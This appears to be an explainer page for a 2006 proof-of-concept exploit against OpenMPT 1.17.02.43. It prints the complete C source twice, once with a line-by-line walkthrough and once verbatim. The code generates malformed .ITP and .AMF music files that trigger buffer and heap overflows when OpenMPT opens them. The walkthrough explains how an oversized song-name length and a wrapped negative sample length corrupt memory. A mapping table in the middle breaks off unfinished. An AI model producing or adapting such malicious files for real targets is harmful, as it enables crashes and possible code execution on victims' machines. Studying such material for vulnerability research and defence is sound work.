OpenMPT 1.17.02.43 Multiple Remote Buffer Overflows Explained

OpenMPT 1.17.02.43 Multiple Remote Buffer Overflows Explained
What this paper is
This paper, published by Luigi Auriemma in 2006, details multiple buffer overflow vulnerabilities in OpenMPT (Open ModPlug Tracker) versions up to 1.17.02.43 and SVN revisions up to 157. The exploit proof-of-concept (PoC) provided demonstrates how to create malicious .ITP (IT Project) and .AMF (ASYLUM Music Format) files that can trigger these overflows. Successful exploitation could lead to denial-of-service (DoS) or potentially arbitrary code execution, depending on the specific overflow and the target system's configuration.
Simple technical breakdown
The PoC targets two main areas within OpenMPT's file parsing routines:
.ITPFile Parsing (Attack 1): This attack exploits vulnerabilities in how OpenMPT handles.ITPfiles, specifically during the reading of project data. By providing overly long strings for certain fields (like the song name), the program attempts to write beyond the allocated buffer, leading to a crash or overwrite of adjacent memory..AMFFile Parsing (Attack 2): This attack targets the.AMFfile format. It exploits a heap overflow vulnerability within theReadSamplefunction. By manipulating thelengthfield of a sample definition to be excessively large, the program allocates a buffer on the heap and then attempts to write more data into it than it can hold, corrupting heap metadata or overwriting other heap objects.
Complete code and payload walkthrough
The provided C code is a proof-of-concept exploit that generates malformed music files to trigger vulnerabilities in OpenMPT.
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#ifdef WIN32
#include <winsock.h> // htonl
#else
#include <netinet/in.h>
#endif
#define VER "0.1"
#define HEAPOVERSZ 512
#define ITPHEAPOVERSZ 150000
#define ALLOCSAMPLESZ ((39 & ~7) + 16)
#define SONG_ITPROJECT 0x20000
void fwbof(FILE *fd, int len, int chr);
void fwi32(FILE *fd, int num);
void std_err(void);
#pragma pack(1)
typedef struct {
uint8_t sign[35];
uint8_t patterns;
uint8_t orders;
uint8_t dunno1;
uint8_t dunno2[256];
} amf_head_t;
typedef struct {
uint8_t name[22];
uint8_t finetune;
uint8_t volume;
uint8_t dunno1;
uint32_t length;
uint32_t reppos;
uint32_t replen;
} amf_smp_t;
#pragma pack()
int main(int argc, char *argv[]) {
amf_head_t amf_head;
amf_smp_t amf_smp;
FILE *fd;
int i,
attack;
char *fname;
setbuf(stdout, NULL);
fputs("\n"
"OpenMPT <= 1.17.02.43 and SVN <= 157 stack and heap overflows "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <attack> <output_file>\n"
"\n"
"Attacks:\n"
" 1 = various global buffer overflows in ReadITProject (*.ITP)\n"
" 2 = heap overflow in ReadSample (*.AMF)\n"
"\n", argv[0]);
exit(1);
}
attack = atoi(argv[1]);
fname = argv[2];
printf("- create file %s\n", fname);
fd = fopen(fname, "wb");
if(!fd) std_err();
if(attack == 1) {
fwi32(fd, 0x2e697470); // .itp
fwi32(fd, 0x00000000); // version
fwi32(fd, ITPHEAPOVERSZ); // song name len
fwbof(fd, ITPHEAPOVERSZ, 'a'); // song name
fwi32(fd, 0); // comments len
fwi32(fd, SONG_ITPROJECT); // m_dwSongFlags
fwi32(fd, 128); // m_nDefaultGlobalVolume
fwi32(fd, 0); // m_nSongPreAmp
fwi32(fd, 0); // m_nDefaultSpeed
fwi32(fd, 0); // m_nDefaultTempo
fwi32(fd, 0); // m_nChannels
fwi32(fd, 0); // channel name len
// for(i=0; i<m_nChannels; i++){
fwi32(fd, 0); // LoadMixPlugins len
fwi32(fd, 0); // m_MidiCfg len
fwi32(fd, 0); // m_nInstruments
fwi32(fd, 0); // path instruments len
fwi32(fd, 0); // order len
fwi32(fd, 0); // number of patterns
fwi32(fd, 0); // m_nPatternNames
fwi32(fd, 0); // m_lpszPatternNames len
fwi32(fd, 0); // modcommand data length
fwi32(fd, 0); // m_nSamples
fwi32(fd, 0); // Read number of embeded samples
} else if(attack == 2) {
memset(&amf_head, 0, sizeof(amf_head));
memset(&amf_smp, 0, sizeof(amf_smp));
strcpy(amf_head.sign, "ASYLUM Music Format V1.0");
amf_head.patterns = 1;
amf_head.orders = 1;
fwrite(&amf_head, sizeof(amf_head), 1, fd);
for(i = 0; i < 64; i++) {
sprintf(amf_smp.name, "sample %d", i);
amf_smp.finetune = 0;
amf_smp.volume = 64;
amf_smp.length = ((0 - 6) - 39) + 16; // ReadSample and AllocateSample
amf_smp.reppos = 0;
amf_smp.replen = 0;
fwrite(&amf_smp, sizeof(amf_smp), 1, fd);
}
fwbof(fd, 64 * 32, 0x00);
fwbof(fd, ALLOCSAMPLESZ + HEAPOVERSZ, 'a');
}
fclose(fd);
printf("- finished\n");
return(0);
}
void fwbof(FILE *fd, int len, int chr) {
while(len--) fputc(chr, fd);
}
void fwi32(FILE *fd, int num) {
fputc((num ) & 0xff, fd);
fputc((num >> 8) & 0xff, fd);
fputc((num >> 16) & 0xff, fd);
fputc((num >> 24) & 0xff, fd);
}
void std_err(void) {
perror("\nError");
exit(1);
}
// milw0rm.com [2006-08-10]Includes and Definitions:
stdio.h,stdlib.h,string.h,stdint.h: Standard C libraries for input/output, memory allocation, string manipulation, and fixed-width integers.winsock.h(Windows) ornetinet/in.h(Unix-like): For network byte order conversion functions likehtonl, thoughhtonlis not directly used in the provided PoC code, its inclusion suggests potential network-related aspects or common practice in network programming examples.VER: Version string for the exploit.HEAPOVERSZ: Defines a buffer size for heap overflow, set to 512 bytes.ITPHEAPOVERSZ: Defines a large buffer size for the.ITPfile song name, set to 150,000 bytes. This is a key value for triggering the overflow.ALLOCSAMPLESZ: A calculated size related to sample allocation,((39 & ~7) + 16). This evaluates to(32 + 16) = 48. This value is used in attack 2.SONG_ITPROJECT: A flag value,0x20000.
Data Structures:
#pragma pack(1): This directive ensures that the compiler packs the structure members without padding, meaning they are laid out contiguously in memory. This is crucial for file format parsing to match the exact byte layout.amf_head_t: Represents the header of an AMF file.sign[35]: A 35-byte signature string to identify the file format.patterns: Number of patterns.orders: Number of orders.dunno1: An unknown byte.dunno2[256]: 256 bytes of unknown data.
amf_smp_t: Represents a sample definition within an AMF file.name[22]: A 22-byte name for the sample.finetune: Fine-tuning value for the sample.volume: Volume of the sample.dunno1: An unknown byte.length: The length of the sample data. This is a critical field for attack 2.reppos: Repeat position for sample looping.replen: Repeat length for sample looping.
#pragma pack(): Resets the packing to the default.
Functions:
fwbof(FILE *fd, int len, int chr):- Purpose: Writes
lenbytes, each with the characterchr, to the file descriptorfd. This is a helper function to fill buffers with specific data. - Inputs:
fd: A pointer to theFILEobject.len: The number of bytes to write.chr: The character (byte value) to write.
- Behavior: Iterates
lentimes, callingfputcto writechrto the file. - Output: None. Writes to the file.
- Purpose: Writes
fwi32(FILE *fd, int num):- Purpose: Writes a 32-bit integer
numto the file descriptorfdin little-endian format. - Inputs:
fd: A pointer to theFILEobject.num: The 32-bit integer to write.
- Behavior: Extracts each byte of the integer
numusing bitwise shifts and masks (& 0xff) and writes them sequentially to the file usingfputc. This is standard little-endian writing. - Output: None. Writes to the file.
- Purpose: Writes a 32-bit integer
std_err(void):- Purpose: Prints an error message to standard output and exits the program.
- Inputs: None.
- Behavior: Calls
perrorto print a system error message (if any) prefixed with "Error", then callsexit(1)to terminate the program with a non-zero status code indicating an error. - Output: Prints to
stdoutand terminates the process.
main Function Breakdown:
Initialization:
setbuf(stdout, NULL);: Disables buffering forstdout, meaning output will be written immediately.- Prints introductory information about the exploit.
- Checks
argc(argument count). If less than 2, it prints usage instructions and exits. attack = atoi(argv[1]);: Parses the first command-line argument to determine which attack to perform.fname = argv[2];: Assigns the second command-line argument as the output filename.- Opens the specified
fnamein binary write mode ("wb"). If opening fails,std_err()is called.
Attack 1 (
if(attack == 1)): This section constructs a malicious.ITPfile.fwi32(fd, 0x2e697470);: Writes the magic bytes ".itp" (little-endian representation of0x7074692e). This identifies the file as an ITP project.fwi32(fd, 0x00000000);: Writes a version number (0).fwi32(fd, ITPHEAPOVERSZ);: Writes the length of the song name. This is set to150000, a value much larger than expected for a song name.fwbof(fd, ITPHEAPOVERSZ, 'a');: WritesITPHEAPOVERSZ(150,000) 'a' characters. This is the core of the overflow. When OpenMPT reads the song name, it will attempt to copy this large buffer into a smaller, fixed-size buffer on the stack or in global memory, causing an overflow.- The subsequent
fwi32calls write various fields of the ITP header, mostly with zero values, indicating an empty or minimal project structure. These include:0: comments lengthSONG_ITPROJECT:m_dwSongFlags128:m_nDefaultGlobalVolume0:m_nSongPreAmp0:m_nDefaultSpeed0:m_nDefaultTempo0:m_nChannels0: channel name len0: LoadMixPlugins len0:m_MidiCfglen0:m_nInstruments0: path instruments len0: order len0: number of patterns0:m_nPatternNames0:m_lpszPatternNameslen0: modcommand data length0:m_nSamples0: number of embeded samples
- The commented-out loop
// for(i=0; i<m_nChannels; i++)indicates that the code is designed to handle projects with channels, but for this exploit,m_nChannelsis set to 0, simplifying the structure.
Attack 2 (
else if(attack == 2)): This section constructs a malicious.AMFfile.memset(&amf_head, 0, sizeof(amf_head));: Initializes theamf_head_tstructure with zeros.memset(&amf_smp, 0, sizeof(amf_smp));: Initializes theamf_smp_tstructure with zeros.strcpy(amf_head.sign, "ASYLUM Music Format V1.0");: Sets the AMF file signature.amf_head.patterns = 1;: Sets the number of patterns to 1.amf_head.orders = 1;: Sets the number of orders to 1.fwrite(&amf_head, sizeof(amf_head), 1, fd);: Writes the AMF header to the file.- Sample Loop:
for(i = 0; i < 64; i++): This loop defines 64 sample entries.sprintf(amf_smp.name, "sample %d", i);: Sets a name for each sample.amf_smp.finetune = 0;: Sets finetune to 0.amf_smp.volume = 64;: Sets volume to 64.amf_smp.length = ((0 - 6) - 39) + 16;: This is the critical part for the heap overflow. The calculation((0 - 6) - 39) + 16results in(-6 - 39) + 16 = -45 + 16 = -29. When this negative value is interpreted as an unsigned integer (aslengthisuint32_t), it becomes a very large positive number (e.g.,0xFFFFFFE3on a 32-bit system). This large value is intended to causeReadSampleto allocate a huge buffer on the heap.amf_smp.reppos = 0;: Sets repeat position to 0.amf_smp.replen = 0;: Sets repeat length to 0.fwrite(&amf_smp, sizeof(amf_smp), 1, fd);: Writes the sample definition to the file.
fwbof(fd, 64 * 32, 0x00);: Writes 64 * 32 (2048) null bytes. This part's purpose is less clear without seeing theReadSamplefunction's internal logic, but it might be padding or data related to the sample itself.fwbof(fd, ALLOCSAMPLESZ + HEAPOVERSZ, 'a');: WritesALLOCSAMPLESZ + HEAPOVERSZ(48 + 512 = 560) 'a' characters. This data is likely intended to be written into the oversized buffer allocated for the sample. TheHEAPOVERSZ(512) part is the explicit overflow payload.
Cleanup:
fclose(fd);: Closes the output file.- Prints a "finished" message.
return(0);: Exits the program successfully.
Mapping of code fragments to practical purpose:
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#ifdef WIN32
#include <winsock.h> // htonl
#else
#include <netinet/in.h>
#endif
#define VER "0.1"
#define HEAPOVERSZ 512
#define ITPHEAPOVERSZ 150000
#define ALLOCSAMPLESZ ((39 & ~7) + 16)
#define SONG_ITPROJECT 0x20000
void fwbof(FILE *fd, int len, int chr);
void fwi32(FILE *fd, int num);
void std_err(void);
#pragma pack(1)
typedef struct {
uint8_t sign[35];
uint8_t patterns;
uint8_t orders;
uint8_t dunno1;
uint8_t dunno2[256];
} amf_head_t;
typedef struct {
uint8_t name[22];
uint8_t finetune;
uint8_t volume;
uint8_t dunno1;
uint32_t length;
uint32_t reppos;
uint32_t replen;
} amf_smp_t;
#pragma pack()
int main(int argc, char *argv[]) {
amf_head_t amf_head;
amf_smp_t amf_smp;
FILE *fd;
int i,
attack;
char *fname;
setbuf(stdout, NULL);
fputs("\n"
"OpenMPT <= 1.17.02.43 and SVN <= 157 stack and heap overflows "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <attack> <output_file>\n"
"\n"
"Attacks:\n"
" 1 = various global buffer overflows in ReadITProject (*.ITP)\n"
" 2 = heap overflow in ReadSample (*.AMF)\n"
"\n", argv[0]);
exit(1);
}
attack = atoi(argv[1]);
fname = argv[2];
printf("- create file %s\n", fname);
fd = fopen(fname, "wb");
if(!fd) std_err();
if(attack == 1) {
fwi32(fd, 0x2e697470); // .itp
fwi32(fd, 0x00000000); // version
fwi32(fd, ITPHEAPOVERSZ); // song name len
fwbof(fd, ITPHEAPOVERSZ, 'a'); // song name
fwi32(fd, 0); // comments len
fwi32(fd, SONG_ITPROJECT); // m_dwSongFlags
fwi32(fd, 128); // m_nDefaultGlobalVolume
fwi32(fd, 0); // m_nSongPreAmp
fwi32(fd, 0); // m_nDefaultSpeed
fwi32(fd, 0); // m_nDefaultTempo
fwi32(fd, 0); // m_nChannels
fwi32(fd, 0); // channel name len
// for(i=0; i<m_nChannels; i++){
fwi32(fd, 0); // LoadMixPlugins len
fwi32(fd, 0); // m_MidiCfg len
fwi32(fd, 0); // m_nInstruments
fwi32(fd, 0); // path instruments len
fwi32(fd, 0); // order len
fwi32(fd, 0); // number of patterns
fwi32(fd, 0); // m_nPatternNames
fwi32(fd, 0); // m_lpszPatternNames len
fwi32(fd, 0); // modcommand data length
fwi32(fd, 0); // m_nSamples
fwi32(fd, 0); // Read number of embeded samples
} else if(attack == 2) {
memset(&amf_head, 0, sizeof(amf_head));
memset(&amf_smp, 0, sizeof(amf_smp));
strcpy(amf_head.sign, "ASYLUM Music Format V1.0");
amf_head.patterns = 1;
amf_head.orders = 1;
fwrite(&amf_head, sizeof(amf_head), 1, fd);
for(i = 0; i < 64; i++) {
sprintf(amf_smp.name, "sample %d", i);
amf_smp.finetune = 0;
amf_smp.volume = 64;
amf_smp.length = ((0 - 6) - 39) + 16; // ReadSample and AllocateSample
amf_smp.reppos = 0;
amf_smp.replen = 0;
fwrite(&amf_smp, sizeof(amf_smp), 1, fd);
}
fwbof(fd, 64 * 32, 0x00);
fwbof(fd, ALLOCSAMPLESZ + HEAPOVERSZ, 'a');
}
fclose(fd);
printf("- finished\n");
return(0);
}
void fwbof(FILE *fd, int len, int chr) {
while(len--) fputc(chr, fd);
}
void fwi32(FILE *fd, int num) {
fputc((num ) & 0xff, fd);
fputc((num >> 8) & 0xff, fd);
fputc((num >> 16) & 0xff, fd);
fputc((num >> 24) & 0xff, fd);
}
void std_err(void) {
perror("\nError");
exit(1);
}
// milw0rm.com [2006-08-10]